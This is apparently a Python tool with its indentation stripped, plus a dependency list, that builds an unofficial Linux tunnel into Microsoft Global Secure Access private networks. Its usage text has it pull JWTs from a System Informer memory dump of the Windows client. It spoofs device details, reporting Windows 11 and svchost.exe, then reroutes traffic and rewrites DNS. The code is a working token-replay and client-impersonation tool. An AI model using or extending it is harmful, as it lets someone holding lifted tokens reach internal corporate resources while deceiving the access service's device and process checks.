def ip_checksum(data: bytes) -> int:
if len(data) % 2:
data += b'\x00'
s = sum(struct.unpack(f'!{len(data)//2}H', data))
s = (s >> 16) + (s & 0xFFFF)
s += s >> 16
return ~s & 0xFFFF
class TunDevice:
def __init__(self, name: str = TUN_NAME, addr: str = TUN_ADDR, mtu: int = TUN_MTU):
self.name = name
self.addr = addr
self.mtu = mtu
self.fd = None
def open(self):
subprocess.run(['ip', 'link', 'delete', self.name],
capture_output=True, timeout=5)
self.fd = os.open('/dev/net/tun', os.O_RDWR)
ifr = struct.pack('16sH', self.name.encode(), IFF_TUN | IFF_NO_PI)
fcntl.ioctl(self.fd, TUNSETIFF, ifr)
logger.info(f"TUN device '{self.name}' created")
def configure(self, routes: list):
self._saved_routes = []
cmds = [
['ip', 'addr', 'add', f'{self.addr}/24', 'dev', self.name],
['ip', 'link', 'set', 'dev', self.name, 'mtu', str(self.mtu)],
['ip', 'link', 'set', 'dev', self.name, 'up'],
]
for cmd in cmds:
ret = subprocess.run(cmd, capture_output=True, text=True)
if ret.returncode != 0 and 'File exists' not in ret.stderr:
logger.warning(f"cmd failed: {' '.join(cmd)}{ret.stderr.strip()}")
for route in routes:
# Save existing route for restoration on shutdown
existing = subprocess.run(
['ip', 'route', 'show', route],
capture_output=True, text=True
)
if existing.stdout.strip():
self._saved_routes.append(existing.stdout.strip())
# Use 'replace' to override any existing route
ret = subprocess.run(
['ip', 'route', 'replace', route, 'dev', self.name],
capture_output=True, text=True
)
if ret.returncode != 0:
logger.warning(f"route failed: {route}{ret.stderr.strip()}")
else:
logger.info(f" Route: {route}{self.name}")
logger.info(f"TUN configured: {self.addr}/24, MTU={self.mtu}, {len(routes)} routes forced through tunnel")
def read(self) -> bytes:
return os.read(self.fd, self.mtu + 100)
def write(self, data: bytes):
os.write(self.fd, data)
def close(self):
if self.fd is not None:
os.close(self.fd)
self.fd = None
for route_line in getattr(self, '_saved_routes', []):
subprocess.run(
['ip', 'route', 'replace'] + route_line.split(),
capture_output=True, timeout=5
)
logger.info(f" Restored route: {route_line}")
subprocess.run(['ip', 'link', 'delete', self.name],
capture_output=True, timeout=5)
logger.info(f"TUN device '{self.name}' removed")
@dataclass
class FlowState:
key: Tuple
correlation_id: str
send_queue: Queue = field(default_factory=Queue)
active: bool = True
created_at: float = field(default_factory=time.monotonic)
last_activity: float = field(default_factory=time.monotonic)
thread: Optional[threading.Thread] = None
class GSATunnel:
def __init__(self, tunnel_token: str, porto_token: str, aps_token: str,
edge: str, routes: list, tun_addr: str = TUN_ADDR,
dns_override: str = None):
self.tunnel_token = tunnel_token
self.porto_token = porto_token
self.aps_token = aps_token
self.edge = edge
self.routes = routes
self.tun_addr = tun_addr
self.dns_server = dns_override or GSA_DNS_SERVER
self.channel = None
self.stub = None
self.tunnel_id = None
self.control_active = False
self.running = False
self.msg_queue = []
self.flow_auth_results: Dict[str, str] = {}
self.tun = TunDevice(addr=tun_addr)
self.flows: Dict[Tuple, FlowState] = {}
self.flows_lock = threading.Lock()
self.packets_in = 0
self.packets_out = 0
self.flows_created = 0
def _make_device_info(self):
return ztna_v2_pb2.ClientDeviceInfo(
client_agent_version="GsaTunnelSvc/2.1.1.0",
client_os_type="Windows",
client_os_version="10.0.26100",
client_device_id=DEVICE_ID,
client_os_name="Windows 11 Enterprise",
client_device_name="GSA-Client",
client_os_architecture="x86_64",
)
def connect(self) -> bool:
logger.info(f"Connecting to {self.edge}")
try:
creds = grpc.ssl_channel_credentials()
self.channel = grpc.secure_channel(self.edge, creds, options=[
('grpc.keepalive_time_ms', 30000),
('grpc.keepalive_permit_without_calls', 1),
('grpc.max_receive_message_length', 16 * 1024 * 1024),
])
grpc.channel_ready_future(self.channel).result(timeout=10.0)
self.stub = ztna_v2_pb2_grpc.ZtnaStub(self.channel)
logger.info("gRPC channel ready")
return True
except Exception as e:
logger.error(f"Connection failed: {e}")
return False
def establish_tunnel(self) -> bool:
self.control_active = True
def control_gen():
yield ztna_v2_pb2.ClientControlMessage(
correlation_vector=f"cv.{uuid.uuid4().hex[:16]}.0",
create_tunnel=ztna_v2_pb2.CreateTunnelMessage(
tunnel_token=self.tunnel_token,
agent_metadata=self._make_device_info(),
)
)
while self.control_active:
if self.msg_queue:
yield self.msg_queue.pop(0)
else:
time.sleep(0.05)
try:
self._responses = self.stub.CreateControlChannel(control_gen())
resp = next(self._responses)
if resp.WhichOneof('payload') != 'tunnel_created':
payload_type = resp.WhichOneof('payload')
if payload_type == 'tunnel_authentication_required':
logger.error("Tunnel auth required — token may be expired")
else:
logger.error(f"Tunnel creation failed: {payload_type}")
return False
self.tunnel_id = resp.tunnel_created.tunnel_id
region = resp.tunnel_created.azure_region_display_name
geo = resp.tunnel_created.server_geo_location
logger.info(f"Tunnel established: {self.tunnel_id[:12]}...")
logger.info(f" Region: {region} | Geo: {geo}")
threading.Thread(target=self._control_reader, daemon=True).start()
return True
except grpc.RpcError as e:
logger.error(f"Control channel error: {e.code()}{e.details()}")
return False
def _control_reader(self):
try:
for r in self._responses:
w = r.WhichOneof('payload')
if w == 'flow_authentication_success':
cid = r.flow_authentication_success.correlation_id or '_empty'
self.flow_auth_results[cid] = 'success'
elif w == 'flow_authentication_failure':
cid = r.flow_authentication_failure.correlation_id or '_empty'
self.flow_auth_results[cid] = 'failure'
logger.debug(f"Flow auth failure: {cid[:8]}")
elif w == 'flow_closed':
fc = r.flow_closed
cid = fc.correlation_id
detail = ""
if fc.reason:
detail = f" [{fc.reason.close_status_code}] {fc.reason.detailed_description}"
logger.debug(f"Flow closed: {cid[:8]}{detail}")
self._cleanup_flow_by_cid(cid)
elif w == 'tunnel_closed':
logger.warning(f"Tunnel closed by server: {r.tunnel_closed.error_message}")
self.control_active = False
self.running = False
break
else:
logger.debug(f"Control msg: {w}")
except grpc.RpcError:
if self.running:
logger.warning("Control channel disconnected")
self.running = False
def _cleanup_flow_by_cid(self, cid: str):
with self.flows_lock:
for key, flow in list(self.flows.items()):
if flow.correlation_id == cid:
flow.active = False
flow.send_queue.put(None)
del self.flows[key]
break
def _pre_auth_flow(self, meta, timeout=3.0) -> str:
cid = meta.correlation_id
self.flow_auth_results.pop(cid, None)
self.flow_auth_results.pop('_empty', None)
self.msg_queue.append(ztna_v2_pb2.ClientControlMessage(
correlation_vector=f"cv.{uuid.uuid4().hex[:16]}.0",
flow_authentication_request=ztna_v2_pb2.FlowAuthenticationRequest(metadata=meta)
))
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
if cid in self.flow_auth_results:
return self.flow_auth_results.pop(cid)
if '_empty' in self.flow_auth_results:
return self.flow_auth_results.pop('_empty')
time.sleep(0.02)
return 'timeout'
def _get_flow_key(self, packet: bytes) -> Optional[Tuple]:
if len(packet) < 20:
return None
version = (packet[0] >> 4) & 0xF
if version != 4:
return None
proto = packet[9]
if proto not in (6, 17):
return None
dst_ip = socket.inet_ntoa(packet[16:20])
first_octet = packet[16]
if first_octet >= 224:
return None
ihl = (packet[0] & 0xF) * 4
transport = packet[ihl:]
if len(transport) < 4:
return None
dst_port = struct.unpack('!H', transport[2:4])[0]
# For TCP, include src_port to distinguish connections
if proto == 6:
src_port = struct.unpack('!H', transport[0:2])[0]
return (dst_ip, dst_port, proto, src_port)
return (dst_ip, dst_port, proto)
def _create_flow(self, key: Tuple, first_packet: bytes) -> Optional[FlowState]:
dst_ip = key[0]
dst_port = key[1]
proto = key[2]
cid = str(uuid.uuid4())
meta = ztna_v2_pb2.ClientFlowMetadata(
correlation_id=cid,
tunnel_id=self.tunnel_id,
destination_ip=dst_ip,
destination_host="",
destination_port=dst_port,
protocol=proto,
client_resolved_ips="",
client_invoked_process_name="svchost.exe",
app_token=self.porto_token,
)
auth_result = self._pre_auth_flow(meta)
if auth_result == 'failure':
logger.debug(f"Flow auth denied: {dst_ip}:{dst_port}/{proto}")
return None
flow_state = FlowState(key=key, correlation_id=cid)
flow_state.send_queue.put(first_packet)
def run_flow():
self._flow_worker(flow_state, meta)
flow_state.thread = threading.Thread(target=run_flow, daemon=True)
flow_state.thread.start()
self.flows_created += 1
return flow_state
def _flow_worker(self, state: FlowState, meta):
def flow_gen():
yield ztna_v2_pb2.ClientFlowMessage(metadata=meta)
time.sleep(0.1)
while state.active:
try:
pkt = state.send_queue.get(timeout=0.5)
if pkt is None:
break
yield ztna_v2_pb2.ClientFlowMessage(packet=pkt)
state.last_activity = time.monotonic()
except Empty:
if time.monotonic() - state.last_activity > 120:
break
try:
bearer = self.aps_token or self.porto_token
grpc_meta = [('authorization', f'Bearer {bearer}')]
stream = self.stub.CreateFlow(flow_gen(), metadata=grpc_meta)
for resp in stream:
if not state.active:
break
if resp.packet:
state.last_activity = time.monotonic()
self.tun.write(resp.packet)
self.packets_in += 1
except grpc.RpcError as e:
code = e.code()
if code != grpc.StatusCode.CANCELLED:
logger.debug(f"Flow {state.correlation_id[:8]} ended: {code}")
finally:
state.active = False
with self.flows_lock:
self.flows.pop(state.key, None)
def _flow_cleanup(self):
while self.running:
time.sleep(30)
now = time.monotonic()
with self.flows_lock:
stale = [k for k, f in self.flows.items()
if now - f.last_activity > 120]
for k in stale:
self.flows[k].active = False
self.flows[k].send_queue.put(None)
del self.flows[k]
if stale:
logger.debug(f"Cleaned {len(stale)} stale flows")
def _tun_reader(self):
while self.running:
try:
packet = self.tun.read()
if not packet:
continue
key = self._get_flow_key(packet)
if key is None:
continue
self.packets_out += 1
with self.flows_lock:
flow = self.flows.get(key)
if flow and flow.active:
flow.send_queue.put(packet)
flow.last_activity = time.monotonic()
else:
flow = self._create_flow(key, packet)
if flow:
with self.flows_lock:
self.flows[key] = flow
logger.debug(f"New flow: {key[0]}:{key[1]}/{key[2]} ({self.flows_created})")
except OSError as e:
if self.running:
logger.error(f"TUN read error: {e}")
break
def _stats_printer(self):
while self.running:
time.sleep(60)
with self.flows_lock:
active = len(self.flows)
logger.info(f"Stats: {self.packets_out} out, {self.packets_in} in, "
f"{active} active flows, {self.flows_created} total created")
def setup_dns(self):
resolv_backup = "/tmp/resolv.conf.gsa.bak"
try:
if not os.path.exists(resolv_backup):
subprocess.run(['cp', '/etc/resolv.conf', resolv_backup], check=True)
dns_conf = f"nameserver {self.dns_server}\nnameserver 8.8.8.8\n"
with open('/etc/resolv.conf', 'w') as f:
f.write(dns_conf)
logger.info(f"DNS configured: {self.dns_server} (backup at {resolv_backup})")
except PermissionError:
logger.warning("Cannot modify /etc/resolv.conf — run as root for DNS override")
except Exception as e:
logger.warning(f"DNS setup failed: {e}")
def restore_dns(self):
resolv_backup = "/tmp/resolv.conf.gsa.bak"
if os.path.exists(resolv_backup):
try:
subprocess.run(['cp', resolv_backup, '/etc/resolv.conf'], check=True)
os.unlink(resolv_backup)
logger.info("DNS restored")
except Exception:
pass
def _resolve_edge_ip(self) -> Optional[str]:
host = self.edge.split(':')[0]
try:
return socket.gethostbyname(host)
except socket.gaierror:
return None
def run(self):
if not self.connect():
return 1
if not self.establish_tunnel():
return 1
# Ensure edge server traffic doesn't get routed into the TUN (routing loop)
edge_ip = self._resolve_edge_ip()
if edge_ip:
result = subprocess.run(['ip', 'route', 'show', 'default'],
capture_output=True, text=True)
if result.stdout.strip():
parts = result.stdout.strip().split()
gw_idx = parts.index('via') + 1 if 'via' in parts else -1
dev_idx = parts.index('dev') + 1 if 'dev' in parts else -1
if gw_idx > 0 and dev_idx > 0:
subprocess.run(['ip', 'route', 'add', f'{edge_ip}/32',
'via', parts[gw_idx], 'dev', parts[dev_idx]],
capture_output=True)
logger.debug(f"Edge IP {edge_ip} excluded from TUN routing")
self.tun.open()
self.tun.configure(self.routes)
self.setup_dns()
self.running = True
logger.info("=" * 50)
logger.info("TUNNEL ACTIVE — routing traffic through GSA")
logger.info(f" Interface: {TUN_NAME} ({self.tun_addr})")
logger.info(f" Routes: {', '.join(self.routes)}")
logger.info(f" DNS: {self.dns_server}")
logger.info(" Press Ctrl+C to disconnect")
logger.info("=" * 50)
threading.Thread(target=self._tun_reader, daemon=True).start()
threading.Thread(target=self._flow_cleanup, daemon=True).start()
threading.Thread(target=self._stats_printer, daemon=True).start()
try:
while self.running:
time.sleep(0.5)
except KeyboardInterrupt:
pass
return self.shutdown()
def shutdown(self) -> int:
logger.info("Shutting down...")
self.running = False
self.control_active = False
with self.flows_lock:
for flow in self.flows.values():
flow.active = False
flow.send_queue.put(None)
self.flows.clear()
self.restore_dns()
self.tun.close()
if self.channel:
self.channel.close()
logger.info(f"Done. Sent {self.packets_out} packets, received {self.packets_in}")
return 0
def main():
parser = argparse.ArgumentParser(
description="GSA Private Access Tunnel — route traffic through Microsoft Global Secure Access",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Auto-extract tokens from System Informer dump
sudo python3 gsa_tunnel.py --token-file /tmp/token
# Explicit token files
sudo python3 gsa_tunnel.py --tunnel-token /tmp/gsa_private_token.txt \\
--porto-token /tmp/gsa_porto_token.txt \\
--aps-token /tmp/gsa_aps_token.txt
# Custom routes only for specific subnets
sudo python3 gsa_tunnel.py --token-file /tmp/token --routes 192.168.255.0/24,10.0.0.0/8
""",
)
tok = parser.add_argument_group("Tokens")
tok.add_argument("--token-file", default="/tmp/token",
help="System Informer dump with JWTs (default: /tmp/token)")
tok.add_argument("--tunnel-token", help="Private tunnel token file (aud: e92b9b37)")
tok.add_argument("--porto-token", help="PortoToken file (aud: 79486f61)")
tok.add_argument("--aps-token", help="APS bearer token file (aud: b3fa0115)")
net = parser.add_argument_group("Network")
net.add_argument("--edge", help="Edge server (default: auto from tenant)")
net.add_argument("--tenant", default=DEFAULT_TENANT, help="Azure tenant ID")
net.add_argument("--routes", help="Comma-separated CIDR routes (default: RFC1918)")
net.add_argument("--tun-addr", default=TUN_ADDR, help=f"TUN interface IP (default: {TUN_ADDR})")
net.add_argument("--dns", help="Override DNS server IP")
net.add_argument("--no-dns", action="store_true", help="Don't modify /etc/resolv.conf")
parser.add_argument("-v", "--verbose", action="store_true", help="Debug logging")
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.DEBUG)
tunnel_token = None
porto_token = None
aps_token = None
if args.tunnel_token:
tunnel_token = load_token_file(args.tunnel_token)
porto_token = load_token_file(args.porto_token) if args.porto_token else None
aps_token = load_token_file(args.aps_token) if args.aps_token else None
else:
token_path = args.token_file
if not os.path.exists(token_path):
parser.error(f"Token file not found: {token_path}")
logger.info(f"Parsing tokens from {token_path}")
tokens = extract_tokens_from_dump(token_path)
tunnel_token = tokens.get(AUD_TUNNEL)
porto_token = tokens.get(AUD_PORTO)
aps_token = tokens.get(AUD_APS)
if not tunnel_token:
parser.error(f"No tunnel token (aud={AUD_TUNNEL}) found in {token_path}")
if not porto_token:
parser.error(f"No PortoToken (aud={AUD_PORTO}) found in {token_path}")
for name, tok, aud in [("Tunnel", tunnel_token, AUD_TUNNEL),
("Porto", porto_token, AUD_PORTO),
("APS", aps_token, AUD_APS)]:
if tok:
claims = decode_jwt_payload(tok)
exp = claims.get('exp', 0)
remaining = exp - time.time()
status = f"expires in {int(remaining)}s" if remaining > 0 else "EXPIRED"
logger.info(f" {name}: aud={aud[:8]}... {status}")
else:
logger.warning(f" {name}: NOT FOUND")
if not tunnel_token or not porto_token:
logger.error("Need at minimum: tunnel token + porto token")
return 1
tunnel_claims = decode_jwt_payload(tunnel_token)
if tunnel_claims.get('exp', 0) < time.time():
logger.error("Tunnel token EXPIRED!")
return 1
edge = args.edge or EDGE_TEMPLATE.format(tenant=args.tenant)
routes = args.routes.split(',') if args.routes else DEFAULT_ROUTES
tunnel = GSATunnel(
tunnel_token=tunnel_token,
porto_token=porto_token,
aps_token=aps_token or porto_token,
edge=edge,
routes=routes,
tun_addr=args.tun_addr,
dns_override=args.dns,
)
if args.no_dns:
tunnel.setup_dns = lambda: None
tunnel.restore_dns = lambda: None
def sig_handler(sig, frame):
tunnel.running = False
signal.signal(signal.SIGINT, sig_handler)
signal.signal(signal.SIGTERM, sig_handler)
return tunnel.run()
if __name__ == "__main__":
sys.exit(main())
+4
View File
@@ -0,0 +1,4 @@
grpcio>=1.60.0
grpcio-tools>=1.60.0
protobuf>=4.25.0
msal>=1.28.0